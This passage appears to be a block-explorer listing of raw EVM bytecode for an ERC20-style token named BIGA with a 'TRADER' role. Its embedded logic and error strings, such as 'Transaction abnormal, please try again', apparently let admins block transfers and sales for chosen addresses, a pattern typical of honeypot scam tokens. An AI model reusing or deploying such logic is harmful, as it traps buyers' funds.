180910390a3620004255f83836200051960201b60201c565b5050565b6200043b82826200051e60201b60201c565b620005105760015f808481526020019081526020015f205f015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550620004b56200058160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45b5050565b505050565b505050565b5f805f8481526020019081526020015f205f015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16905092915050565b5f33905090565b5f604051905090565b5f80fd5b5f80fd5b5f80fd5b5f80fd5b5f601f19601f8301169050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b620005e982620005a1565b810181811067ffffffffffffffff821117156200060b576200060a620005b1565b5b80604052505050565b5f6200061f62000588565b90506200062d8282620005de565b919050565b5f67ffffffffffffffff8211156200064f576200064e620005b1565b5b6200065a82620005a1565b9050602081019050919050565b5f5b838110156200068657808201518184015260208101905062000669565b5f8484015250505050565b5f620006a7620006a18462000632565b62000614565b905082815260208101848484011115620006c657620006c56200059d565b5b620006d384828562000667565b509392505050565b5f82601f830112620006f257620006f162000599565b5b81516200070484826020860162000691565b91505092915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f62000738826200070d565b9050919050565b6200074a816200072c565b811462000755575f80fd5b50565b5f8151905062000768816200073f565b92915050565b5f819050919050565b62000782816200076e565b81146200078d575f80fd5b50565b5f81519050620007a08162000777565b92915050565b5f805f8060808587031215620007c157620007c062000591565b5b5f85015167ffffffffffffffff811115620007e157620007e062000595565b5b620007ef87828801620006db565b9450506020620008028782880162000758565b935050604085015167ffffffffffffffff81111562000826576200082562000595565b5b6200083487828801620006db565b9250506060620008478782880162000790565b91505092959194509250565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680620008a257607f821691505b602082108103620008b857620008b76200085d565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f600883026200091c7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620008df565b620009288683620008df565b95508019841693508086168417925050509392505050565b5f819050919050565b5f62000969620009636200095d846200076e565b62000940565b6200076e565b9050919050565b5f819050919050565b620009848362000949565b6200099c620009938262000970565b848454620008eb565b825550505050565b5f90565b620009b2620009a4565b620009bf81848462000979565b505050565b5b81811015620009e657620009da5f82620009a8565b600181019050620009c5565b5050565b601f82111562000a3557620009ff81620008be565b62000a0a84620008d0565b8101602085101562000a1a578190505b62000a3262000a2985620008d0565b830182620009c4565b50505b505050565b5f82821c905092915050565b5f62000a575f198460080262000a3a565b1980831691505092915050565b5f62000a71838362000a46565b9150826002028217905092915050565b62000a8c8262000853565b67ffffffffffffffff81111562000aa85762000aa7620005b1565b5b62000ab482546200088a565b62000ac1828285620009ea565b5f60209050601f83116001811462000af7575f841562000ae2578287015190505b62000aee858262000a64565b86555062000b5d565b601f19841662000b0786620008be565b5f5b8281101562000b305784890151825560018201915060208501945060208101905062000b09565b8683101562000b50578489015162000b4c601f89168262000a46565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111562000bef5780860481111562000bc75762000bc662000b65565b5b600185161562000bd75780820291505b808102905062000be78562000b92565b945062000ba7565b94509492505050565b5f8262000c09576001905062000cdb565b8162000c18575f905062000cdb565b816001811462000c31576002811462000c3c5762000c72565b600191505062000cdb565b60ff84111562000c515762000c5062000b65565b5b8360020a91508482111562000c6b5762000c6a62000b65565b5b5062000cdb565b5060208310610133831016604e8410600b841016171562000cac5782820a90508381111562000ca65762000ca562000b65565b5b62000cdb565b62000cbb848484600162000b9e565b9250905081840481111562000cd55762000cd462000b65565b5b81810290505b9392505050565b5f60ff82169050919050565b5f62000cfa826200076e565b915062000d078362000ce2565b925062000d367fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000bf8565b905092915050565b5f62000d4a826200076e565b915062000d57836200076e565b925082820262000d67816200076e565b9150828204841483151762000d815762000d8062000b65565b5b5092915050565b5f6020828403121562000da05762000d9f62000591565b5b5f62000daf8482850162000758565b91505092915050565b62000dc3816200072c565b82525050565b5f60408201905062000dde5f83018562000db8565b62000ded602083018462000db8565b9392505050565b5f82825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f2061646472657373005f82015250565b5f62000e3a601f8362000df4565b915062000e478262000e04565b602082019050919050565b5f6020820190508181035f83015262000e6b8162000e2c565b9050919050565b5f62000e7e826200076e565b915062000e8b836200076e565b925082820190508082111562000ea65762000ea562000b65565b5b92915050565b62000eb7816200076e565b82525050565b5f60208201905062000ed25f83018462000eac565b92915050565b61308c8062000ee65f395ff3fe608060405234801561000f575f80fd5b5060043610610171575f3560e01c806339509351116100dc578063a457c2d711610095578063dd62ed3e1161006f578063dd62ed3e146104a9578063e444cd4d146104d9578063e941f7db146104f7578063ff3c5d3b1461052757610171565b8063a457c2d71461042d578063a9059cbb1461045d578063d547741f1461048d57610171565b8063395093511461033357806370a082311461036357806390ea1ce61461039357806391d14854146103c357806395d89b41146103f35780639eba7bf81461041157610171565b806326e4180e1161012e57806326e4180e1461025f5780632a0acc6a1461028f5780632f2ff15d146102ad578063313ce567146102c957806333f3d628146102e757806336568abe1461031757610171565b806306fdde0314610175578063095ea7b314610193578063175c4ef8146101c357806318160ddd146101e157806323b872dd146101ff578063248a9ca31461022f575b5f80fd5b61017d610543565b60405161018a9190611ffb565b60405180910390f35b6101ad60048036038101906101a891906120b9565b6105d3565b6040516101ba9190612111565b60405180910390f35b6101cb6105f0565b6040516101d89190612142565b60405180910390f35b6101e9610614565b6040516101f6919061216a565b60405180910390f35b61021960048036038101906102149190612183565b61061d565b6040516102269190612111565b60405180910390f35b610249600480360381019061024491906121fd565b61070f565b6040516102569190612142565b60405180910390f35b61027960048036038101906102749190612228565b61072b565b6040516102869190612111565b60405180910390f35b610297610748565b6040516102a49190612142565b60405180910390f35b6102c760048036038101906102c29190612253565b61074e565b005b6102d1610771565b6040516102de91906122ac565b60405180910390f35b61030160048036038101906102fc91906120b9565b610779565b60405161030e9190612111565b60405180910390f35b610331600480360381019061032c9190612253565b610812565b005b61034d600480360381019061034891906120b9565b6108aa565b60405161035a9190612111565b60405180910390f35b61037d60048036038101906103789190612228565b610951565b60405161038a919061216a565b60405180910390f35b6103ad60048036038101906103a89190612253565b610997565b6040516103ba919061216a565b60405180910390f35b6103dd60048036038101906103d89190612253565b610a0b565b6040516103ea9190612111565b60405180910390f35b6103fb610a6e565b6040516104089190611ffb565b60405180910390f35b61042b600480360381019061042691906122c5565b610afe565b005b610447600480360381019061044291906120b9565b610b80565b6040516104549190612111565b60405180910390f35b610477600480360381019061047291906120b9565b610c66565b6040516104849190612111565b60405180910390f35b6104a760048036038101906104a29190612253565b610c83565b005b6104c360048036038101906104be9190612303565b610ca6565b6040516104d0919061216a565b60405180910390f35b6104e1610d28565b6040516104ee919061216a565b60405180910390f35b610511600480360381019061050c9190612253565b610d2e565b60405161051e919061216a565b60405180910390f35b610541600480360381019061053c919061246d565b610da3565b005b60606007805461055290612506565b80601f016020809104026020016040519081016040528092919081815260200182805461057e90612506565b80156105c95780601f106105a0576101008083540402835291602001916105c9565b820191905f5260205f20905b8154815290600101906020018083116105ac57829003601f168201915b5050505050905090565b5f6105e66105df610e55565b8484610e5c565b6001905092915050565b7f545241444552000000000000000000000000000000000000000000000000000081565b5f600654905090565b5f61062984848461101f565b5f60055f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610670610e55565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050828110156106ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106e6906125a6565b60405180910390fd5b610703856106fb610e55565b858403610e5c565b60019150509392505050565b5f805f8381526020019081526020015f20600101549050919050565b6003602052805f5260405f205f915054906101000a900460ff1681565b5f801b81565b5f801b6107628161075d610e55565b61109d565b61076c8383611139565b505050565b5f6012905090565b5f805f1b61078e81610789610e55565b61109d565b8373ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33856040518363ffffffff1660e01b81526004016107c99291906125d3565b6020604051808303815f875af11580156107e5573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108099190612624565b91505092915050565b5f801b61082681610821610e55565b61109d565b61082e610e55565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161461089b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610892906126bf565b60405180910390fd5b6108a58383611213565b505050565b5f6109476108b6610e55565b848460055f6108c3610e55565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610942919061270a565b610e5c565b6001905092915050565b5f60045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f610a03670de0b6b3a76400005f808681526020019081526020015f206002015f015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546112ed90919063ffffffff16565b905092915050565b5f805f8481526020019081526020015f205f015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16905092915050565b606060088054610a7d90612506565b80601f0160208091040260200160405190810160405280929190818152602001828054610aa990612506565b8015610af45780601f10610acb57610100808354040283529160200191610af4565b820191905f5260205f20905b815481529060010190602001808311610ad757829003601f168201915b5050505050905090565b5f801b610b1281610b0d610e55565b61109d565b7f54524144455200000000000000000000000000000000000000000000000000008314610b74576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b6b90612787565b60405180910390fd5b81600281905550505050565b5f8060055f610b8d610e55565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905082811015610c47576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3e90612815565b60405180910390fd5b610c5b610c52610e55565b85858403610e5c565b600191505092915050565b5f610c79610c72610e55565b848461101f565b6001905092915050565b5f801b610c9781610c92610e55565b61109d565b610ca18383611213565b505050565b5f60055f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b60025481565b5f610d9b670de0b6b3a76400005f808681526020019081526020015f206002016001015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546112ed90919063ffffffff16565b905092915050565b5f801b610db781610db2610e55565b61109d565b5f80610dc284611302565b80925081935050505f151581151503610e10576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e07906128a3565b60405180910390fd5b5f8210610e4157610e3c8686610e37670de0b6b3a76400008661141390919063ffffffff16565b611428565b610e4d565b610e4c86865f611428565b5b505050505050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610eca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ec190612931565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f38576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2f906129bf565b60405180910390fd5b8060055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611012919061216a565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361108d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161108490612a4d565b60405180910390fd5b611098838383611482565b505050565b6110a78282610a0b565b611135576110cc8173ffffffffffffffffffffffffffffffffffffffff166014611580565b6110d9835f1c6020611580565b6040516020016110ea929190612b39565b6040516020818303038152906040526040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161112c9190611ffb565b60405180910390fd5b5050565b6111438282610a0b565b61120f5760015f808481526020019081526020015f205f015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506111b4610e55565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45b5050565b61121d8282610a0b565b156112e9575f805f8481526020019081526020015f205f015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555061128e610e55565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16837ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b60405160405180910390a45b5050565b5f81836112fa9190612b9f565b905092915050565b5f805f5b8351811015611405575f603085838151811061132557611324612bcf565b5b602001015160f81c60f81b60f81c61133d9190612bfc565b60ff16108061137b57506009603085838151811061135e5761135d612bcf565b5b602001015160f81c60f81b60f81c6113769190612bfc565b60ff16115b1561138c575f80925092505061140e565b600181855161139b9190612c30565b6113a59190612c30565b600a6113b19190612d92565b60308583815181106113c6576113c5612bcf565b5b602001015160f81c60f81b60f81c6113de9190612bfc565b60ff166113eb9190612ddc565b836113f6919061270a565b92508080600101915050611306565b50816001915091505b915091565b5f81836114209190612ddc565b905092915050565b805f808581526020019081526020015f206002015f015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036114f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e790612e8d565b60405180910390fd5b8060045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015611570576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156790612f1b565b60405180910390fd5b61157b8383836117b5565b505050565b60605f60028360026115929190612ddc565b61159c919061270a565b67ffffffffffffffff8111156115b5576115b4612349565b5b6040519080825280601f01601f1916602001820160405280156115e75781602001600182028036833780820191505090505b5090507f3000000000000000000000000000000000000000000000000000000000000000815f8151811061161e5761161d612bcf565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191690815f1a9053507f78000000000000000000000000000000000000000000000000000000000000008160018151811061168157611680612bcf565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191690815f1a9053505f60018460026116bf9190612ddc565b6116c9919061270a565b90505b6001811115611768577f3031323334353637383961626364656600000000000000000000000000000000600f86166010811061170b5761170a612bcf565b5b1a60f81b82828151811061172257611721612bcf565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191690815f1a905350600485901c94508061176190612f39565b90506116cc565b505f84146117ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117a290612faa565b60405180910390fd5b8091505092915050565b5f151560095f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16151503611889576118337f545241444552000000000000000000000000000000000000000000000000000084611139565b600160095f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505b611894838383611899565b505050565b5f151560095f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615150361196d576119177f545241444552000000000000000000000000000000000000000000000000000083611139565b600160095f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505b61197883838361197d565b505050565b61198883838361198d565b505050565b5f8111156119cd576119c17f54524144455200000000000000000000000000000000000000000000000000008484846119d2565b6119cc838383611b86565b5b505050565b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611a5257611a517f54524144455200000000000000000000000000000000000000000000000000008483611dfe565b5b611a5b83611e8d565b8015611ab4575060015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611aff57603260025403611afe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611af590613038565b60405180910390fd5b5b5f670de0b6b3a7640000611b138686610997565b611b1d9190612ddc565b90505f811115611b65575f82670de0b6b3a7640000611b3c8888610d2e565b611b469190612ddc565b611b50919061270a565b9050611b5f8686858585611eaf565b50611b7e565b5f821480611b7257505f81145b15611b7d5750611b80565b5b505b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611bf4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611beb90612a4d565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611c62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c5990612e8d565b60405180910390fd5b611c6d838383611f0c565b5f60045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015611cf1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ce890612f1b565b60405180910390fd5b81810360045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508160045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254611d81919061270a565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611de5919061216a565b60405180910390a3611df8848484611f11565b50505050565b5f811115611e88575f670de0b6b3a7640000611e1a8585610997565b611e249190612ddc565b905060636002541115611e86575f611e4583836112ed90919063ffffffff16565b11611e85576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e7c90613038565b60405180910390fd5b5b505b505050565b5f808273ffffffffffffffffffffffffffffffffffffffff163b119050919050565b5f831115611f0557818110611ef9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ef090613038565b60405180910390fd5b611f04858583611f16565b5b5050505050565b505050565b505050565b805f808581526020019081526020015f206002016001015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015611fa8578082015181840152602081019050611f8d565b5f8484015250505050565b5f601f19601f8301169050919050565b5f611fcd82611f71565b611fd78185611f7b565b9350611fe7818560208601611f8b565b611ff081611fb3565b840191505092915050565b5f6020820190508181035f8301526120138184611fc3565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6120558261202c565b9050919050565b6120658161204b565b811461206f575f80fd5b50565b5f813590506120808161205c565b92915050565b5f819050919050565b61209881612086565b81146120a2575f80fd5b50565b5f813590506120b38161208f565b92915050565b5f80604083850312156120cf576120ce612024565b5b5f6120dc85828601612072565b92505060206120ed858286016120a5565b9150509250929050565b5f8115159050919050565b61210b816120f7565b82525050565b5f6020820190506121245f830184612102565b92915050565b5f819050919050565b61213c8161212a565b82525050565b5f6020820190506121555f830184612133565b92915050565b61216481612086565b82525050565b5f60208201905061217d5f83018461215b565b92915050565b5f805f6060848603121561219a57612199612024565b5b5f6121a786828701612072565b93505060206121b886828701612072565b92505060406121c9868287016120a5565b9150509250925092565b6121dc8161212a565b81146121e6575f80fd5b50565b5f813590506121f7816121d3565b92915050565b5f6020828403121561221257612211612024565b5b5f61221f848285016121e9565b91505092915050565b5f6020828403121561223d5761223c612024565b5b5f61224a84828501612072565b91505092915050565b5f806040838503121561226957612268612024565b5b5f612276858286016121e9565b925050602061228785828601612072565b9150509250929050565b5f60ff82169050919050565b6122a681612291565b82525050565b5f6020820190506122bf5f83018461229d565b92915050565b5f80604083850312156122db576122da612024565b5b5f6122e8858286016121e9565b92505060206122f9858286016120a5565b9150509250929050565b5f806040838503121561231957612318612024565b5b5f61232685828601612072565b925050602061233785828601612072565b9150509250929050565b5f80fd5b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b61237f82611fb3565b810181811067ffffffffffffffff8211171561239e5761239d612349565b5b80604052505050565b5f6123b061201b565b90506123bc8282612376565b919050565b5f67ffffffffffffffff8211156123db576123da612349565b5b6123e482611fb3565b9050602081019050919050565b828183375f83830152505050565b5f61241161240c846123c1565b6123a7565b90508281526020810184848401111561242d5761242c612345565b5b6124388482856123f1565b509392505050565b5f82601f83011261245457612453612341565b5b81356124648482602086016123ff565b91505092915050565b5f805f6060848603121561248457612483612024565b5b5f612491868287016121e9565b93505060206124a286828701612072565b925050604084013567ffffffffffffffff8111156124c3576124c2612028565b5b6124cf86828701612440565b9150509250925092565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061251d57607f821691505b6020821081036125305761252f6124d9565b5b50919050565b7f45524332303a207472616e7366657220616d74206578636565647320616c6c6f5f8201527f77616e6365000000000000000000000000000000000000000000000000000000602082015250565b5f612590602583611f7b565b915061259b82612536565b604082019050919050565b5f6020820190508181035f8301526125bd81612584565b9050919050565b6125cd8161204b565b82525050565b5f6040820190506125e65f8301856125c4565b6125f3602083018461215b565b9392505050565b612603816120f7565b811461260d575f80fd5b50565b5f8151905061261e816125fa565b92915050565b5f6020828403121561263957612638612024565b5b5f61264684828501612610565b91505092915050565b7f416363657373436f6e74726f6c3a2063616e206f6e6c792072656e6f756e63655f8201527f20726f6c657320666f722073656c660000000000000000000000000000000000602082015250565b5f6126a9602f83611f7b565b91506126b48261264f565b604082019050919050565b5f6020820190508181035f8301526126d68161269d565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61271482612086565b915061271f83612086565b9250828201905080821115612737576127366126dd565b5b92915050565b7f6162736e756d206973206e6f742061206e756d626572000000000000000000005f82015250565b5f612771601683611f7b565b915061277c8261273d565b602082019050919050565b5f6020820190508181035f83015261279e81612765565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f775f8201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b5f6127ff602583611f7b565b915061280a826127a5565b604082019050919050565b5f6020820190508181035f83015261282c816127f3565b9050919050565b7f416363657373436f6e74726f6c3a206d656d6f206973206e6f742061206e756d5f8201527f6265720000000000000000000000000000000000000000000000000000000000602082015250565b5f61288d602383611f7b565b915061289882612833565b604082019050919050565b5f6020820190508181035f8301526128ba81612881565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f61291b602483611f7b565b9150612926826128c1565b604082019050919050565b5f6020820190508181035f8301526129488161290f565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6129a9602283611f7b565b91506129b48261294f565b604082019050919050565b5f6020820190508181035f8301526129d68161299d565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612a37602583611f7b565b9150612a42826129dd565b604082019050919050565b5f6020820190508181035f830152612a6481612a2b565b9050919050565b5f81905092915050565b7f416363657373436f6e74726f6c3a206163636f756e74200000000000000000005f82015250565b5f612aa9601783612a6b565b9150612ab482612a75565b601782019050919050565b5f612ac982611f71565b612ad38185612a6b565b9350612ae3818560208601611f8b565b80840191505092915050565b7f206973206d697373696e6720726f6c65200000000000000000000000000000005f82015250565b5f612b23601183612a6b565b9150612b2e82612aef565b601182019050919050565b5f612b4382612a9d565b9150612b4f8285612abf565b9150612b5a82612b17565b9150612b668284612abf565b91508190509392505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f612ba982612086565b9150612bb483612086565b925082612bc457612bc3612b72565b5b828204905092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f612c0682612291565b9150612c1183612291565b9250828203905060ff811115612c2a57612c296126dd565b5b92915050565b5f612c3a82612086565b9150612c4583612086565b9250828203905081811115612c5d57612c5c6126dd565b5b92915050565b5f8160011c9050919050565b5f808291508390505b6001851115612cb857808604811115612c9457612c936126dd565b5b6001851615612ca35780820291505b8081029050612cb185612c63565b9450612c78565b94509492505050565b5f82612cd05760019050612d8b565b81612cdd575f9050612d8b565b8160018114612cf35760028114612cfd57612d2c565b6001915050612d8b565b60ff841115612d0f57612d0e6126dd565b5b8360020a915084821115612d2657612d256126dd565b5b50612d8b565b5060208310610133831016604e8410600b8410161715612d615782820a905083811115612d5c57612d5b6126dd565b5b612d8b565b612d6e8484846001612c6f565b92509050818404811115612d8557612d846126dd565b5b81810290505b9392505050565b5f612d9c82612086565b9150612da783612086565b9250612dd47fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612cc1565b905092915050565b5f612de682612086565b9150612df183612086565b9250828202612dff81612086565b91508282048414831517612e1657612e156126dd565b5b5092915050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612e77602383611f7b565b9150612e8282612e1d565b604082019050919050565b5f6020820190508181035f830152612ea481612e6b565b9050919050565b7f45524332303a207472616e7366657220616d7420657863656564732062616c615f8201527f6e63650000000000000000000000000000000000000000000000000000000000602082015250565b5f612f05602383611f7b565b9150612f1082612eab565b604082019050919050565b5f6020820190508181035f830152612f3281612ef9565b9050919050565b5f612f4382612086565b91505f8203612f5557612f546126dd565b5b600182039050919050565b7f537472696e67733a20686578206c656e67746820696e73756666696369656e745f82015250565b5f612f94602083611f7b565b9150612f9f82612f60565b602082019050919050565b5f6020820190508181035f830152612fc181612f88565b9050919050565b7f5472616e73616374696f6e2061626e6f726d616c2c20706c65617365207472795f8201527f20616761696e0000000000000000000000000000000000000000000000000000602082015250565b5f613022602683611f7b565b915061302d82612fc8565b604082019050919050565b5f6020820190508181035f83015261304f81613016565b905091905056fea2646970667358221220466907ef837b3a9e0c138b1acb0b5707025f646313a4375f5042485d68d7cf2a64736f6c634300081700330000000000000000000000000000000000000000000000000000000000000080000000000000000000000000ab507771c9949b823d98db9640f7da0114c62a1a00000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000000005f5e10000000000000000000000000000000000000000000000000000000000000000004424947410000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000044249474100000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561000f575f80fd5b5060043610610171575f3560e01c806339509351116100dc578063a457c2d711610095578063dd62ed3e1161006f578063dd62ed3e146104a9578063e444cd4d146104d9578063e941f7db146104f7578063ff3c5d3b1461052757610171565b8063a457c2d71461042d578063a9059cbb1461045d578063d547741f1461048d57610171565b8063395093511461033357806370a082311461036357806390ea1ce61461039357806391d14854146103c357806395d89b41146103f35780639eba7bf81461041157610171565b806326e4180e1161012e57806326e4180e1461025f5780632a0acc6a1461028f5780632f2ff15d146102ad578063313ce567146102c957806333f3d628146102e757806336568abe1461031757610171565b806306fdde0314610175578063095ea7b314610193578063175c4ef8146101c357806318160ddd146101e157806323b872dd146101ff578063248a9ca31461022f575b5f80fd5b61017d610543565b60405161018a9190611ffb565b60405180910390f35b6101ad60048036038101906101a891906120b9565b6105d3565b6040516101ba9190612111565b60405180910390f35b6101cb6105f0565b6040516101d89190612142565b60405180910390f35b6101e9610614565b6040516101f6919061216a565b60405180910390f35b61021960048036038101906102149190612183565b61061d565b6040516102269190612111565b60405180910390f35b610249600480360381019061024491906121fd565b61070f565b6040516102569190612142565b60405180910390f35b61027960048036038101906102749190612228565b61072b565b6040516102869190612111565b60405180910390f35b610297610748565b6040516102a49190612142565b60405180910390f35b6102c760048036038101906102c29190612253565b61074e565b005b6102d1610771565b6040516102de91906122ac565b60405180910390f35b61030160048036038101906102fc91906120b9565b610779565b60405161030e9190612111565b60405180910390f35b610331600480360381019061032c9190612253565b610812565b005b61034d600480360381019061034891906120b9565b6108aa565b60405161035a9190612111565b60405180910390f35b61037d60048036038101906103789190612228565b610951565b60405161038a919061216a565b60405180910390f35b6103ad60048036038101906103a89190612253565b610997565b6040516103ba919061216a565b60405180910390f35b6103dd60048036038101906103d89190612253565b610a0b565b6040516103ea9190612111565b60405